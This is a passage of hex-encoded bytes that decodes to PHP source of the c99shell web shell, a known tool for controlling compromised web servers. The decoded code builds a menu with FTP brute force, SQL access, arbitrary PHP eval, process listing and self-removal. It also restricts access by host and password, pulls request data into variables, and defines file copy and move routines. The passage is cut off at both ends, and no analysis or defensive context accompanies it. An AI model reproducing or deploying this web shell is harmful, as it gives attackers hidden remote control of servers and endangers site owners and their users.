68 6F 77 20 6F 70 65 6E 65 64 20 70 6F 72 74 73 22 2C 20 22 6E 65 74 73 74 61 74 20 2D 61 6E 22 29 0A 20 29 3B 0A 7D 0A 0A 24 73 65 73 73 5F 63 6F 6F 6B 69 65 20 3D 20 22 63 39 39 73 68 76 61 72 73 22 3B 20 2F 2F 20 43 6F 6F 6B 69 65 2D 76 61 72 69 61 62 6C 65 20 6E 61 6D 65 0A 0A 24 75 73 65 66 73 62 75 66 66 20 3D 20 74 72 75 65 3B 20 2F 2F 42 75 66 66 65 72 2D 66 75 6E 63 74 69 6F 6E 0A 24 63 6F 70 79 5F 75 6E 73 65 74 20 3D 20 66 61 6C 73 65 3B 20 2F 2F 52 65 6D 6F 76 65 20 63 6F 70 69 65 64 20 66 69 6C 65 73 20 66 72 6F 6D 20 62 75 66 66 65 72 20 61 66 74 65 72 20 70 61 73 74 69 6E 67 0A 0A 2F 2F 51 75 69 63 6B 20 6C 61 75 6E 63 68 0A 24 71 75 69 63 6B 6C 61 75 6E 63 68 20 3D 20 61 72 72 61 79 28 0A 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 68 6F 6D 65 5C 22 20 61 6C 74 3D 5C 22 48 6F 6D 65 5C 22 20 68 65 69 67 68 74 3D 5C 22 32 30 5C 22 20 77 69 64 74 68 3D 5C 22 32 30 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 24 73 75 72 6C 29 2C 0A 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 62 61 63 6B 5C 22 20 61 6C 74 3D 5C 22 42 61 63 6B 5C 22 20 68 65 69 67 68 74 3D 5C 22 32 30 5C 22 20 77 69 64 74 68 3D 5C 22 32 30 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 23 5C 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 68 69 73 74 6F 72 79 2E 62 61 63 6B 28 31 29 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 66 6F 72 77 61 72 64 5C 22 20 61 6C 74 3D 5C 22 46 6F 72 77 61 72 64 5C 22 20 68 65 69 67 68 74 3D 5C 22 32 30 5C 22 20 77 69 64 74 68 3D 5C 22 32 30 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 23 5C 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 68 69 73 74 6F 72 79 2E 67 6F 28 31 29 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 75 70 5C 22 20 61 6C 74 3D 5C 22 55 50 44 49 52 5C 22 20 68 65 69 67 68 74 3D 5C 22 32 30 5C 22 20 77 69 64 74 68 3D 5C 22 32 30 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 6C 73 26 64 3D 25 75 70 64 26 73 6F 72 74 3D 25 73 6F 72 74 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 72 65 66 72 65 73 68 5C 22 20 61 6C 74 3D 5C 22 52 65 66 72 65 73 68 5C 22 20 68 65 69 67 68 74 3D 5C 22 32 30 5C 22 20 77 69 64 74 68 3D 5C 22 31 37 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 65 61 72 63 68 5C 22 20 61 6C 74 3D 5C 22 53 65 61 72 63 68 5C 22 20 68 65 69 67 68 74 3D 5C 22 32 30 5C 22 20 77 69 64 74 68 3D 5C 22 32 30 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 73 65 61 72 63 68 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 62 75 66 66 65 72 5C 22 20 61 6C 74 3D 5C 22 42 75 66 66 65 72 5C 22 20 68 65 69 67 68 74 3D 5C 22 32 30 5C 22 20 77 69 64 74 68 3D 5C 22 32 30 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 66 73 62 75 66 66 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 45 6E 63 6F 64 65 72 3C 2F 62 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 65 6E 63 6F 64 65 72 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 54 6F 6F 6C 73 3C 2F 62 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 74 6F 6F 6C 73 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 50 72 6F 63 2E 3C 2F 62 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 70 72 6F 63 65 73 73 65 73 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 46 54 50 20 62 72 75 74 65 3C 2F 62 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 66 74 70 71 75 69 63 6B 62 72 75 74 65 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 53 65 63 2E 3C 2F 62 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 73 65 63 75 72 69 74 79 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 53 51 4C 3C 2F 62 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 73 71 6C 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 50 48 50 2D 63 6F 64 65 3C 2F 62 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 65 76 61 6C 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 55 70 64 61 74 65 3C 2F 62 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 75 70 64 61 74 65 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 46 65 65 64 62 61 63 6B 3C 2F 62 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 66 65 65 64 62 61 63 6B 26 64 3D 25 64 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 53 65 6C 66 20 72 65 6D 6F 76 65 3C 2F 62 3E 22 2C 24 73 75 72 6C 2E 22 61 63 74 3D 73 65 6C 66 72 65 6D 6F 76 65 22 29 2C 0A 20 61 72 72 61 79 28 22 3C 62 3E 4C 6F 67 6F 75 74 3C 2F 62 3E 22 2C 22 23 5C 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 69 66 20 28 63 6F 6E 66 69 72 6D 28 27 41 72 65 20 79 6F 75 20 73 75 72 65 3F 27 29 29 20 77 69 6E 64 6F 77 2E 63 6C 6F 73 65 28 29 22 29 0A 29 3B 0A 0A 2F 2F 48 69 67 68 6C 69 67 68 74 2D 63 6F 64 65 20 63 6F 6C 6F 72 73 0A 24 68 69 67 68 6C 69 67 68 74 5F 62 61 63 6B 67 72 6F 75 6E 64 20 3D 20 22 23 63 30 63 30 63 30 22 3B 0A 24 68 69 67 68 6C 69 67 68 74 5F 62 67 20 3D 20 22 23 46 46 46 46 46 46 22 3B 0A 24 68 69 67 68 6C 69 67 68 74 5F 63 6F 6D 6D 65 6E 74 20 3D 20 22 23 36 41 36 41 36 41 22 3B 0A 24 68 69 67 68 6C 69 67 68 74 5F 64 65 66 61 75 6C 74 20 3D 20 22 23 30 30 30 30 42 42 22 3B 0A 24 68 69 67 68 6C 69 67 68 74 5F 68 74 6D 6C 20 3D 20 22 23 31 33 30 30 46 46 22 3B 0A 24 68 69 67 68 6C 69 67 68 74 5F 6B 65 79 77 6F 72 64 20 3D 20 22 23 30 30 37 37 30 30 22 3B 0A 24 68 69 67 68 6C 69 67 68 74 5F 73 74 72 69 6E 67 20 3D 20 22 23 30 30 30 30 30 30 22 3B 0A 0A 40 24 66 20 3D 20 24 5F 52 45 51 55 45 53 54 5B 22 66 22 5D 3B 0A 40 65 78 74 72 61 63 74 28 24 5F 52 45 51 55 45 53 54 5B 22 63 39 39 73 68 63 6F 6F 6B 22 5D 29 3B 0A 0A 2F 2F 45 4E 44 20 43 4F 4E 46 49 47 55 52 41 54 49 4F 4E 0A 0A 0A 2F 2F 20 09 09 09 09 5C 2F 09 4E 65 78 74 20 63 6F 64 65 20 69 73 6E 27 74 20 66 6F 72 20 65 64 69 74 69 6E 67 09 5C 2F 0A 40 73 65 74 5F 74 69 6D 65 5F 6C 69 6D 69 74 28 30 29 3B 0A 24 74 6D 70 20 3D 20 61 72 72 61 79 28 29 3B 0A 66 6F 72 65 61 63 68 28 24 68 6F 73 74 5F 61 6C 6C 6F 77 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 24 74 6D 70 5B 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 2A 22 2C 22 2E 2A 22 2C 70 72 65 67 5F 71 75 6F 74 65 28 24 76 29 29 3B 7D 0A 24 73 20 3D 20 22 21 5E 28 22 2E 69 6D 70 6C 6F 64 65 28 22 7C 22 2C 24 74 6D 70 29 2E 22 29 24 21 69 22 3B 0A 69 66 20 28 21 70 72 65 67 5F 6D 61 74 63 68 28 24 73 2C 67 65 74 65 6E 76 28 22 52 45 4D 4F 54 45 5F 41 44 44 52 22 29 29 20 61 6E 64 20 21 70 72 65 67 5F 6D 61 74 63 68 28 24 73 2C 67 65 74 68 6F 73 74 62 79 61 64 64 72 28 67 65 74 65 6E 76 28 22 52 45 4D 4F 54 45 5F 41 44 44 52 22 29 29 29 29 20 7B 65 78 69 74 28 22 3C 61 20 68 72 65 66 3D 5C 22 68 74 74 70 3A 2F 2F 63 63 74 65 61 6D 2E 72 75 2F 72 65 6C 65 61 73 65 73 2F 63 63 39 39 73 68 65 6C 6C 5C 22 3E 63 39 39 73 68 65 6C 6C 3C 2F 61 3E 3A 20 41 63 63 65 73 73 20 44 65 6E 69 65 64 20 2D 20 79 6F 75 72 20 68 6F 73 74 20 28 22 2E 67 65 74 65 6E 76 28 22 52 45 4D 4F 54 45 5F 41 44 44 52 22 29 2E 22 29 20 6E 6F 74 20 61 6C 6C 6F 77 22 29 3B 7D 0A 69 66 20 28 21 65 6D 70 74 79 28 24 6C 6F 67 69 6E 29 29 0A 7B 0A 20 69 66 20 28 65 6D 70 74 79 28 24 6D 64 35 5F 70 61 73 73 29 29 20 7B 24 6D 64 35 5F 70 61 73 73 20 3D 20 6D 64 35 28 24 70 61 73 73 29 3B 7D 0A 20 69 66 20 28 28 24 5F 53 45 52 56 45 52 5B 22 50 48 50 5F 41 55 54 48 5F 55 53 45 52 22 5D 20 21 3D 20 24 6C 6F 67 69 6E 29 20 6F 72 20 28 6D 64 35 28 24 5F 53 45 52 56 45 52 5B 22 50 48 50 5F 41 55 54 48 5F 50 57 22 5D 29 20 21 3D 20 24 6D 64 35 5F 70 61 73 73 29 29 0A 20 7B 0A 20 20 69 66 20 28 65 6D 70 74 79 28 24 6C 6F 67 69 6E 5F 74 78 74 29 29 20 7B 24 6C 6F 67 69 6E 5F 74 78 74 20 3D 20 73 74 72 69 70 5F 74 61 67 73 28 65 72 65 67 5F 72 65 70 6C 61 63 65 28 22 26 6E 62 73 70 3B 7C 3C 62 72 3E 22 2C 22 20 22 2C 24 64 6F 6E 61 74 65 64 5F 68 74 6D 6C 29 29 3B 7D 0A 20 20 68 65 61 64 65 72 28 22 57 57 57 2D 41 75 74 68 65 6E 74 69 63 61 74 65 3A 20 42 61 73 69 63 20 72 65 61 6C 6D 3D 5C 22 63 39 39 73 68 65 6C 6C 20 22 2E 24 73 68 76 65 72 2E 22 3A 20 22 2E 24 6C 6F 67 69 6E 5F 74 78 74 2E 22 5C 22 22 29 3B 0A 20 20 68 65 61 64 65 72 28 22 48 54 54 50 2F 31 2E 30 20 34 30 31 20 55 6E 61 75 74 68 6F 72 69 7A 65 64 22 29 3B 0A 20 20 65 78 69 74 28 24 61 63 63 65 73 73 64 65 6E 69 65 64 6D 65 73 73 29 3B 0A 20 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 21 3D 20 22 69 6D 67 22 29 0A 7B 0A 24 6C 61 73 74 64 69 72 20 3D 20 72 65 61 6C 70 61 74 68 28 22 2E 22 29 3B 0A 63 68 64 69 72 28 24 63 75 72 64 69 72 29 3B 0A 69 66 20 28 24 73 65 6C 66 77 72 69 74 65 20 6F 72 20 24 75 70 64 61 74 65 6E 6F 77 29 20 7B 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 20 63 39 39 73 68 5F 67 65 74 75 70 64 61 74 65 28 24 73 65 6C 66 77 72 69 74 65 2C 31 29 3B 20 65 78 69 74 3B 7D 0A 24 73 65 73 73 5F 64 61 74 61 20 3D 20 75 6E 73 65 72 69 61 6C 69 7A 65 28 24 5F 43 4F 4F 4B 49 45 5B 22 24 73 65 73 73 5F 63 6F 6F 6B 69 65 22 5D 29 3B 0A 69 66 20 28 21 69 73 5F 61 72 72 61 79 28 24 73 65 73 73 5F 64 61 74 61 29 29 20 7B 24 73 65 73 73 5F 64 61 74 61 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 69 66 20 28 21 69 73 5F 61 72 72 61 79 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 29 29 20 7B 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 69 66 20 28 21 69 73 5F 61 72 72 61 79 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 29 29 20 7B 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 0A 24 64 69 73 61 62 6C 65 66 75 6E 63 20 3D 20 40 69 6E 69 5F 67 65 74 28 22 64 69 73 61 62 6C 65 5F 66 75 6E 63 74 69 6F 6E 73 22 29 3B 0A 69 66 20 28 21 65 6D 70 74 79 28 24 64 69 73 61 62 6C 65 66 75 6E 63 29 29 0A 7B 0A 20 24 64 69 73 61 62 6C 65 66 75 6E 63 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 22 2C 22 22 2C 24 64 69 73 61 62 6C 65 66 75 6E 63 29 3B 0A 20 24 64 69 73 61 62 6C 65 66 75 6E 63 20 3D 20 65 78 70 6C 6F 64 65 28 22 2C 22 2C 24 64 69 73 61 62 6C 65 66 75 6E 63 29 3B 0A 7D 0A 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 63 39 39 5F 62 75 66 66 5F 70 72 65 70 61 72 65 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 63 39 39 5F 62 75 66 66 5F 70 72 65 70 61 72 65 28 29 0A 7B 0A 20 67 6C 6F 62 61 6C 20 24 73 65 73 73 5F 64 61 74 61 3B 0A 20 67 6C 6F 62 61 6C 20 24 61 63 74 3B 0A 20 66 6F 72 65 61 63 68 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 5B 24 6B 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 72 65 61 6C 70 61 74 68 28 24 76 29 29 3B 7D 0A 20 66 6F 72 65 61 63 68 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 5B 24 6B 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 72 65 61 6C 70 61 74 68 28 24 76 29 29 3B 7D 0A 20 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 20 3D 20 61 72 72 61 79 5F 75 6E 69 71 75 65 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 29 3B 0A 20 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 20 3D 20 61 72 72 61 79 5F 75 6E 69 71 75 65 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 29 3B 0A 20 73 6F 72 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 29 3B 0A 20 73 6F 72 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 29 3B 0A 20 69 66 20 28 24 61 63 74 20 21 3D 20 22 63 6F 70 79 22 29 20 7B 66 6F 72 65 61 63 68 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 69 66 20 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 5B 24 6B 5D 20 3D 3D 20 24 76 29 20 7B 75 6E 73 65 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 5B 24 6B 5D 29 3B 20 7D 7D 7D 0A 20 65 6C 73 65 20 7B 66 6F 72 65 61 63 68 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 69 66 20 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 5B 24 6B 5D 20 3D 3D 20 24 76 29 20 7B 75 6E 73 65 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 5B 24 6B 5D 29 3B 7D 7D 7D 0A 7D 0A 7D 0A 63 39 39 5F 62 75 66 66 5F 70 72 65 70 61 72 65 28 29 3B 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 63 39 39 5F 73 65 73 73 5F 70 75 74 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 63 39 39 5F 73 65 73 73 5F 70 75 74 28 24 64 61 74 61 29 0A 7B 0A 20 67 6C 6F 62 61 6C 20 24 73 65 73 73 5F 63 6F 6F 6B 69 65 3B 0A 20 67 6C 6F 62 61 6C 20 24 73 65 73 73 5F 64 61 74 61 3B 0A 20 63 39 39 5F 62 75 66 66 5F 70 72 65 70 61 72 65 28 29 3B 0A 20 24 73 65 73 73 5F 64 61 74 61 20 3D 20 24 64 61 74 61 3B 0A 20 24 64 61 74 61 20 3D 20 73 65 72 69 61 6C 69 7A 65 28 24 64 61 74 61 29 3B 0A 20 73 65 74 63 6F 6F 6B 69 65 28 24 73 65 73 73 5F 63 6F 6F 6B 69 65 2C 24 64 61 74 61 29 3B 0A 7D 0A 7D 0A 66 6F 72 65 61 63 68 20 28 61 72 72 61 79 28 22 73 6F 72 74 22 2C 22 73 71 6C 5F 73 6F 72 74 22 29 20 61 73 20 24 76 29 0A 7B 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 5F 47 45 54 5B 24 76 5D 29 29 20 7B 24 24 76 20 3D 20 24 5F 47 45 54 5B 24 76 5D 3B 7D 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 5F 50 4F 53 54 5B 24 76 5D 29 29 20 7B 24 24 76 20 3D 20 24 5F 50 4F 53 54 5B 24 76 5D 3B 7D 0A 7D 0A 69 66 20 28 24 73 6F 72 74 5F 73 61 76 65 29 0A 7B 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 6F 72 74 29 29 20 7B 73 65 74 63 6F 6F 6B 69 65 28 22 73 6F 72 74 22 2C 24 73 6F 72 74 29 3B 7D 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 71 6C 5F 73 6F 72 74 29 29 20 7B 73 65 74 63 6F 6F 6B 69 65 28 22 73 71 6C 5F 73 6F 72 74 22 2C 24 73 71 6C 5F 73 6F 72 74 29 3B 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 73 74 72 32 6D 69 6E 69 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 73 74 72 32 6D 69 6E 69 28 24 63 6F 6E 74 65 6E 74 2C 24 6C 65 6E 29 0A 7B 0A 20 69 66 20 28 73 74 72 6C 65 6E 28 24 63 6F 6E 74 65 6E 74 29 20 3E 20 24 6C 65 6E 29 0A 20 7B 0A 20 20 24 6C 65 6E 20 3D 20 63 65 69 6C 28 24 6C 65 6E 2F 32 29 20 2D 20 32 3B 0A 20 20 72 65 74 75 72 6E 20 73 75 62 73 74 72 28 24 63 6F 6E 74 65 6E 74 2C 20 30 2C 24 6C 65 6E 29 2E 22 2E 2E 2E 22 2E 73 75 62 73 74 72 28 24 63 6F 6E 74 65 6E 74 2C 2D 24 6C 65 6E 29 3B 0A 20 7D 0A 20 65 6C 73 65 20 7B 72 65 74 75 72 6E 20 24 63 6F 6E 74 65 6E 74 3B 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 76 69 65 77 5F 73 69 7A 65 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 76 69 65 77 5F 73 69 7A 65 28 24 73 69 7A 65 29 0A 7B 0A 20 69 66 20 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 73 69 7A 65 29 29 20 7B 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 69 66 20 28 24 73 69 7A 65 20 3E 3D 20 31 30 37 33 37 34 31 38 32 34 29 20 7B 24 73 69 7A 65 20 3D 20 72 6F 75 6E 64 28 24 73 69 7A 65 2F 31 30 37 33 37 34 31 38 32 34 2A 31 30 30 29 2F 31 30 30 20 2E 22 20 47 42 22 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 73 69 7A 65 20 3E 3D 20 31 30 34 38 35 37 36 29 20 7B 24 73 69 7A 65 20 3D 20 72 6F 75 6E 64 28 24 73 69 7A 65 2F 31 30 34 38 35 37 36 2A 31 30 30 29 2F 31 30 30 20 2E 22 20 4D 42 22 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 73 69 7A 65 20 3E 3D 20 31 30 32 34 29 20 7B 24 73 69 7A 65 20 3D 20 72 6F 75 6E 64 28 24 73 69 7A 65 2F 31 30 32 34 2A 31 30 30 29 2F 31 30 30 20 2E 22 20 4B 42 22 3B 7D 0A 20 20 65 6C 73 65 20 7B 24 73 69 7A 65 20 3D 20 24 73 69 7A 65 20 2E 20 22 20 42 22 3B 7D 0A 20 20 72 65 74 75 72 6E 20 24 73 69 7A 65 3B 0A 20 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 66 73 5F 63 6F 70 79 5F 64 69 72 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 66 73 5F 63 6F 70 79 5F 64 69 72 28 24 64 2C 24 74 29 0A 7B 0A 20 24 64 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 64 29 3B 0A 20 69 66 20 28 73 75 62 73 74 72 28 24 64 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 64 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 0A 20 24 68 20 3D 20 6F 70 65 6E 64 69 72 28 24 64 29 3B 0A 20 77 68 69 6C 65 20 28 28 24 6F 20 3D 20 72 65 61 64 64 69 72 28 24 68 29 29 20 21 3D 3D 20 66 61 6C 73 65 29 0A 20 7B 0A 20 20 69 66 20 28 28 24 6F 20 21 3D 20 22 2E 22 29 20 61 6E 64 20 28 24 6F 20 21 3D 20 22 2E 2E 22 29 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 21 69 73 5F 64 69 72 28 24 64 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 29 29 20 7B 24 72 65 74 20 3D 20 63 6F 70 79 28 24 64 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 2C 24 74 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 29 3B 7D 0A 20 20 20 65 6C 73 65 20 7B 24 72 65 74 20 3D 20 6D 6B 64 69 72 28 24 74 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 29 3B 20 66 73 5F 63 6F 70 79 5F 64 69 72 28 24 64 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 2C 24 74 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 29 3B 7D 0A 20 20 20 69 66 20 28 21 24 72 65 74 29 20 7B 72 65 74 75 72 6E 20 24 72 65 74 3B 7D 0A 20 20 7D 0A 20 7D 0A 20 63 6C 6F 73 65 64 69 72 28 24 68 29 3B 0A 20 72 65 74 75 72 6E 20 74 72 75 65 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 66 73 5F 63 6F 70 79 5F 6F 62 6A 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 66 73 5F 63 6F 70 79 5F 6F 62 6A 28 24 64 2C 24 74 29 0A 7B 0A 20 24 64 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 64 29 3B 0A 20 24 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 74 29 3B 0A 20 69 66 20 28 21 69 73 5F 64 69 72 28 64 69 72 6E 61 6D 65 28 24 74 29 29 29 20 7B 6D 6B 64 69 72 28 64 69 72 6E 61 6D 65 28 24 74 29 29 3B 7D 0A 20 69 66 20 28 69 73 5F 64 69 72 28 24 64 29 29 0A 20 7B 0A 20 20 69 66 20 28 73 75 62 73 74 72 28 24 64 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 64 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 0A 20 20 69 66 20 28 73 75 62 73 74 72 28 24 74 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 74 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 0A 20 20 72 65 74 75 72 6E 20 66 73 5F 63 6F 70 79 5F 64 69 72 28 24 64 2C 24 74 29 3B 0A 20 7D 0A 20 65 6C 73 65 69 66 20 28 69 73 5F 66 69 6C 65 28 24 64 29 29 20 7B 72 65 74 75 72 6E 20 63 6F 70 79 28 24 64 2C 24 74 29 3B 7D 0A 20 65 6C 73 65 20 7B 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 66 73 5F 6D 6F 76 65 5F 64 69 72 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 66 73 5F 6D 6F 76 65 5F 64 69 72 28 24 64 2C 24 74 29 0A 7B 0A 20 24 68 20 3D 20 6F 70 65 6E 64 69 72 28 24 64 29 3B 0A 20 69 66 20 28 21 69 73 5F 64 69 72 28 24 74 29 29 20 7B 6D 6B 64 69 72 28 24 74 29 3B 7D 0A 20 77 68 69 6C 65 20 28 28 24 6F 20 3D 20 72 65 61 64 64 69 72 28 24 68 29 29 20 21 3D 3D 20 66 61 6C 73 65 29 0A 20 7B 0A 20 20 69 66 20 28 28 24 6F 20 21 3D 20 22 2E 22 29 20 61 6E 64 20 28 24 6F 20 21 3D 20 22 2E 2E 22 29 29 0A 20 20 7B 0A 20 20 20 24 72 65 74 20 3D 20 74 72 75 65 3B 0A 20 20 20 69 66 20 28 21 